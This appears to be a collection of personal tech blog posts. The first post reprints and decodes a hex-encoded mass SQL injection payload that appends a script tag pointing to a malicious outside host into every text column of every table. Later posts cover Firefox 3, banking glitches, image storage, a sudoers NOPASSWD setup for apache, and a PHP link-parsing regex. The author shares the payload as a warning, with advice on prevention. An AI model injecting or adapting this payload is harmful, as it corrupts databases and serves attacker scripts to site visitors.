Think you can write sloppy code in your web applications just because they only have db_datareader access, and no sensitive information? Think again… If you haven’t correctly setup you’re SQL servers privelleges you’re in for a nasty surprise!

The SQL script below will update every ntext (99), text (35), sysname (231), nvarchar (231) and varchar (167) field and insert a nice little HTML script tag calling a file from a malicious website which can then start doing all sorts of nasty stuff!

And as the title of this post would suggest the if executing user on has the db_datareader role it can still write!! I did a quick search of the net found a number of sites affected by this particular script, but other forums make mention of the same SQL being used with the JavaScript hosted on a number of other domains…

I’ve tested this on an MS SQL 2000 and MS SQL 2005..

Here is the original SQL which can easily be injected in to some poorly written web application:

DECLARE  @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6175736164642E636F6D2F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));
EXEC(@S);

Decoding that long hex encoded string you’ll find it says:

DECLARE @T VARCHAR(255),
@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src="http://www.ausadd.com/ngg.js"><!--mce:0--></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Test it on an database for yourself… don’t take my word for it! But don’t do something stupid and test it on your production server or production data! You’ve been warned…

Want to know how to prevent this at a database level?… Make sure you’ve applied db_denydatawriter as a role on the account as well!!

Obviously you should all be cleaning and data provided to your web applications first though…

But a quick google of the script suggests this isn’t always a common practice!

So the day arrives Firefox 3 has finally been released… I can’t say it was in my diary but it must have been in some others, apparently their FTP servers were down in the hours leading up to the release… Suspect some geeks (and I use the word affectionately) were trying to get an early copy!

With this release Mozilla has taken an interesting marketing approach - trying to break (or set?) a guniess world record with the most downloads. Anyway ’spread the word’ as they say.. check out Firefox 3.0 to play your small part in a world record.

3 Million and counting on its first day isn’t bad!

Like I assume millions of other people, I’ve been unable to make a payment with PayPal for over 8 hours now. The following error message appear on the PayPal website when trying to make a payment with a credit card…

The PayPal site is currently experiencing technical difficulties with our credit card processor. We are working to solve this problem as quickly as possible. If you would like to use your credit card, please return to the PayPal website later to complete your transaction. We apologise for any inconvenience this may cause.

Quite a concern considering eBay is now making it mandatory for all auctions to include PayPal as a means of payment. And as of July this goes one step further with PayPal being the only option to pay an eBay seller.

While using Commonwealth Bank’s online bank NetBank last week I transferred over $1000 on to my Credit Card. I didn’t owe anything on this credit card I just wanted the funds on there to use… Since then I’d noticed my Available balance was on top $2000 of my limit…

Really confused thinking the bank had screwed up and increased my limit without my authorisation I gave them a call. Just off the phone and I’ve found out they currently have a sporadic error occurring on NetBank.

Basically some transfers being made between accounts are registering the deposit twice, and the withdrawal once!! I.e. I was withdrawing $1000 and depositing it on my card, but it was registering 2 deposits.. so $2000 in total… CHING CHING!

The phone operator corrected the error despite me insisting it be left how it was He also said the problem would have been corrected in a couple of days anyway - but I wonder whether it really would have?

This is just one VERY good example of why you should build thorough logging in to your web applications for auditing purposes. Just think the amount of money this bank would be losing is they hadn’t!! Or perhaps are if they are relying on fools like me to point out their mistakes.

This raises an age old question which will likely be debated for many years to come. Ultimately both methods of storage have their benefits and costs.

Storing images on the file system has a marginally faster retrieval rate, thanks to web and proxy servers being good at what they do.

Storing images in a database allows for all of your data to be central stored which is more portable, and easy to replicate. This solution would likely also be easier for taking a point-in-time backup with referential integrity.

Which option you choose would really depend on the type application you’re building in my opinion.

So if you’re building an application with a moderately sized amount of image data, and moderate amount of traffic using a database would be okay as the benefits outway the cost. However if you’re building something like flickr with large amounts of data and high traffic, using the file system would be the advised approach.

I’ve also heard of a combined solution that could provide the best of both world. This is storing your images in the database to gain the benefits there, but also use filesystem caching of these to obtain the performance benefits.

For a senario of a small photo storage site with 2 Gig of images, I would recommend the filesystem approach or consider attempting the combined solution. Although at only 2 Gig either approach would be fine… but we need to allow for some growth, it could boom right?

Some tips for getting the best performance out of the filesystem:

• Limit the number of images in any one directory (or suffer performance loss)
• Include not only an image identifier in the filename, but also a secret code (to prevent discovering files)

See the following website has some great information on flickr:

http://www.highscalability.com/flickr-architecture

Additionally there is this presentation on scalable web architechure:

http://www.slideshare.net/techdude/scalable-web-architectures-common-patterns-and-approaches

As recommend by the Microsoft crew I had enabled automatic updates… Big mistake!

After my laptop installed the batch of updates released on the 9th of January my laptop began endlessly rebooting. It blue screens as soon as is starts to load Vista. To make things even better even safe mode does the same thing.

After a process of trail and error with these update I worked out it was caused by KB943899.

Now obviously this doesn’t affect everyone otherwise they wouldn’t have release it… Or would they? Upon search the Internet I found a number of other reports from users with the same problem… I’ve only noticed DELL owners so far - I own a DELL XPS M1330.

I’ve raised a request with DELL as you can’t directly with Microsoft with an OEM license it appears… now we play the waiting game!

Zend debugger is basically the server side component that is used by Zend Studio. You need this to do your remote debugging!!

Normally you’d find this included in an installation of Zend Core or Zend Platform. However we aren’t using Zend’s apache php bundle so this little gem has to be loaded…

It’s hard to find on the net and not well advertised - I imagine because of Zend’s preference that you’d start using Zend Core.. Which looks great mind you but is missing some vital extensions some of our projects are using..

http://downloads.zend.com/pdt/server-debugger/

I’m running a development server virtual machine on my Vista laptop using Parallels. Trouble is being on a laptop sometimes I’m on the road so a Host only network suits me, but other times I’m at home so I want the guest machine to connect to my home network. Up until now there has been A LOT of screwing around each time I leave and come just change network the network settings…

First of all I tried the obvious Internet Connection Sharing throws some “(null)” error - Google forums to read about it. Bridged networking not that I really understand how this would have helped? this but someone made mention of it… I don’t profess to being a professional at this, BUT the following configuration made my life a dream.

Now I just simply change my the Network in Parallels from “Host only networking” to “Default adapter”..

Router

• IP - 10.0.1.1
• Subnet - 255.255.0.0

Guest

• IP: 10.0.2.10
• Subnet - 255.255.0.0
• Gateway: 10.0.1.1
• DNS: 10.0.1.1

Host

Parrallels Host-Guest NIC:

• IP: 10.0.2.20
• Subnet - 255.255.255.0

Default adapter NIC:

• IP: 10.0.1.20
• Subnet - 255.255.0.0
• Gateway: 10.0.1.1
• DNS: 10.0.1.1

If anyone cares to provide more insight, or has a better solution - would love to here from you! PS. All ip addresses have been changed to protect the innocent

My problem is I and working on a web interface which runs some limit shell command. Some of these normally require root access… And I don’t want to do something silly like force apache to run as root now do I?

Provided you have sudo installed (like most distro’s) the following is a good solution I came across!

Update your sudoer config (mines at /etc/sudoers) so your apache user can run the required command.For example:

Cmnd_Alias TOOLS=/usr/sbin/yourcommand,/usr/sbin/anotherone
www-data ALL=NOPASSWD: TOOLS

Then in your PHP you would execute the command like so:

exec("/usr/bin/sudo /usr/sbin/yourcommand");

If anyone can suggest a better method I’d love to hear!!

My goal was more complex than what’s described here in, but I wanted to share a simple function for returning the links in some HTML (now that I know what I’m doing)… Hopefully someone finds this useful, it was a common question in forums I noticed.

Regular expressions are a power tool for working with strings. PHP provides support for a couple of different types but I’m using preg (aka the Perl compatible one).

The regular expression I put together for this was:

/<a\s[^>]*href=”(?P<href>[^"]*)”\s[^>]*>(?P<name>.*)<\/a>/si

What this means is:

• / - perl regular expression patterns are enclosed in forward slashes (this is the opening one)
• <a - is satisfied literally (the open of the html a tag)
• \s - is a single whitespace character (includes line breaks etc)
• [^>]* - satisfied by any characters except >, this can be satisfied zero - many times (allows for anything else inside the html a tag)
  • [ ] - a charter class
  • ^ - except the following
  • > - is satisfied literally
  • * - the charter class can occur zero of many times
• href=” - is satisfied literally
• (?P<href>[^"]*) - match and return as ‘href’ - any characters except “, this can be satisfied zero - many times (gets everything inside the href attribute)
  • ( ) - match and return
  • ?P<href> - nominate the name we’ll return it as ‘href’ could be anything you like!
  • [^"]* - satisfied by any characters except “, this can be satisfied zero - many times
• > - is satisfied literally (the close of the html a tag)
• (?P<name>.*) - match and return as name - any character, this can be satisfied zero - many times (gets everything inside the a tag)
  • ( ) - match and return
  • ?P<name> - nominate the name we’ll return it as ‘name’.
  • .* - satisfied by any character, this can be satisfied zero - many times
• <\/a> - is satisfied literally (but we’re escaping the forward slash we don’t want to end up pattern here)
• / - now we want to end our pattern!
• si - the trailing s and i are modifiers to change the way the expression is interpreted
  • s - means the . we’ve used can also represent line breaks (normally it doesn’t)
  • i - means the entire thing is case insensitive!

A PHP function using this might look like so:

private function getLinks($responseBody){       
    $_regexp = '/<a\s[^>]*href="(?P<href>[^"]*)"\s[^>]*>(?P<name>.*)<\/a>/si';
    preg_match_all($_regexp, $responseBody, $matches);
 
    $i = 0;
    foreach($matches['name'] as $name) {
        $links[$i]['name'] = trim($name);
        $i++;
    }
 
    $i = 0;
    foreach($matches['href'] as $href) {
        $links[$i]['href'] = $href;
        $i++;
    }
 
    return $links;   
}

Issues with this regular expression I know I haven’t address are:

• You’re link may not be text, it could be an image or anything!
• Not everyone using double quotes for their attributes.
• Browsers support sloppy HTML this experession doesn’t! E.g. <a href = /link/>

Any corrections or feedback would be pleased to hear from you!